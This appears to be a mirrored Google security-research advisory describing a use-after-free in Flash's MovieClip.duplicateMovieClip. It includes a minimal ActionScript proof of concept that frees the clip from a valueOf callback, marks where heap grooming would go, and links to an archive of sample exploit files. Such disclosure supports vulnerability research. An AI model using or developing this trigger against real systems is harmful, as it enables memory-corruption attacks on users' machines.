29 lines
No EOL
650 B
Text
29 lines
No EOL
650 B
Text
Source: https://code.google.com/p/google-security-research/issues/detail?id=591
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There is a use-after-free in MovieClip.duplicateMovieClip. If the depth or movie name parameter provided is an object with toString or valueOf defined, this method can free the MovieClip, which is then used.
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A minimal PoC follows:
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this.createEmptyMovieClip("mc", 1);
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mc.duplicateMovieClip( "mc",{valueOf : func});
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function func(){
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trace("in func");
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mc.removeMovieClip();
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// Fix heap here
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return 5;
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}
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A sample swf and fla are attached.
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Proof of Concept:
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https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39042.zip |